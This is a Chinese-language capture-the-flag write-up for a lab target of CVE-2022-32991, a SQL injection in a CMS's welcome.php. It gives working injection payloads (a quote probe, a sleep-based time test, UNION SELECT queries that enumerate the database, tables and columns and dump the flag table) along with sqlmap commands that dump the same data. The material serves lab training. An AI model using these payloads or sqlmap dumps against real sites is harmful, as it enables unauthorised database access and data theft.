春秋云境:CVE-2022-32991(sql注入)

靶标介绍:

该CMS的welcome.php中存在SQL注入攻击。

获取登录地址

http://eci-2zeb0096que0556y47vq.cloudeci1.ichunqiu.com:80

登录注册

注册成功登录进入注册接口

参数接口一

发现接口参数q http://eci-2zeb0096que0556y47vq.cloudeci1.ichunqiu.com/welcome.php?q=1

SQL盲注未发现利用点

http://eci-2zeb0096que0556y47vq.cloudeci1.ichunqiu.com/welcome.php?q=1' or '1'=1

继续下一步 查看接口和参数情况

参数接口二:

q step eid n t等http://eci-2zeb0096que0556y47vq.cloudeci1.ichunqiu.com/welcome.php?q=quiz\&step=2\&eid=60377db362694\&n=1\&t=34

注入点判断方式

参数后加'

参数后加'%2b(select*from(select(sleep(20)))a)%2b'

参数后加' union select 1,2,3,4,5--+

输入地址栏http://eci-2zeb0096que0556y47vq.cloudeci1.ichunqiu.com/welcome.php?q=quiz\&step=2\&eid=60377db362694' union select 1,2,3,4,5--+\&n=1\&t=34

查询数据库名

n=2' union select 1,2,database(),4,5--+

输入地址栏http://eci-2zeb0096que0556y47vq.cloudeci1.ichunqiu.com/welcome.php?q=quiz\&step=2\&eid=60377db362694n=2' union select 1,2,database(),4,5--+\&n=1\&t=34

查看表信息

2' union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema='ctf'--+

输入地址栏http://eci-2zeb0096que0556y47vq.cloudeci1.ichunqiu.com/welcome.php?q=quiz\&step=2\&eid=60377db3626942' union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema='ctf'--+\&n=1\&t=34

查询表字段信息

' union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema='ctf' and table_name='flag'--+

输入地址栏http://eci-2zeb0096que0556y47vq.cloudeci1.ichunqiu.com/welcome.php?q=quiz\&step=2\&eid=60377db3626942' union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema='ctf' and table_name='flag'--+

查看flag表中的字段

2' union select 1,2,group_concat(flag),4,5 from flag--+

发现接口参数 http://eci-2zeb0096que0556y47vq.cloudeci1.ichunqiu.com/welcome.php?q=quiz\&step=2\&eid=60377db362694' union select 1,2,group_concat(flag),4,5

flag{e5fb9a56-bfce-48cb-a816-77599da3b03a}

burusuite使用

burpsuite也是一款强大的漏扫工具,通过爬取接口进行扫描发现 接口是否存在安全隐患,具体使用教程就不说了,看个人习惯

sqlmap使用

暴库

保存txt文件执行

python sqlmap.py -l C:\Users\cheng\Desktop\1.txt --batch -dbs

爆破表

python sqlmap.py -r D:/bc1.txt --batch -D "ctf" --tables

爆破表字段

python sqlmap.py -r D:/bc1.txt --batch -D "ctf" -T "flag" --columns

爆破具体字段信息

执行--batch -D "ctf" -T "flag" -C "flag" --dump

flag{e5fb9a56-bfce-48cb-a816-77599da3b03a}

SQL注入寻找接口,寻找参数, 寻找注入点, 进行sql盲注 ,查看响应结果值, 工具可以使用sqlmap bp进行测试验证

相关推荐
TiDB 社区干货传送门9 分钟前
平凯数据库携手东软医保共筑智慧医保,构建可靠、安全、开放的数据底座
数据库·tidb·国产数据库
YYYing.2 小时前
【Mysql剑指offer系列 (七) 】MySQL性能调优和架构
数据库·mysql·八股
Decay__3 小时前
PostgreSQL WAL 归档与时间点恢复 —— WAL 连续归档、recovery_target 时点恢复与 pg_rewind
运维·数据库·sql·postgresql
جيون داد ناالام ميづ4 小时前
七、MyBatis 源码剖析:核心流程拆解(初始化 + SQL 执行)
java·sql·mybatis
如夏倾城4 小时前
大模型(Large Model)解析:从数据类型、模型架构到任务选型
服务器·网络·数据库·语言模型·架构·audiolm
船神丿男人4 小时前
Redis 缓存击穿与雪崩实测:同键合并、TTL 错峰与迟到回填
数据库·redis·缓存
富贵儿9986 小时前
NL2SQL 实践手记 04:多表查询为什么更难——让模型找对表、连对关系
数据库·sql·ai·自然语言处理·langchain
Decay__6 小时前
PostgreSQL 索引与 SQL 优化 —— B-tree、GiST、GIN、BRIN、执行计划与索引设计实战
运维·数据库·sql·postgresql
جيون داد ناالام ميづ7 小时前
六、MyBatis 高级用法:动态 SQL 进阶 + 缓存优化 + TypeHandler
sql·缓存·mybatis
Decay__11 小时前
PostgreSQL 内存与锁调优 —— shared_buffers、work_mem、MVCC 与锁等待排查
运维·数据库·sql·postgresql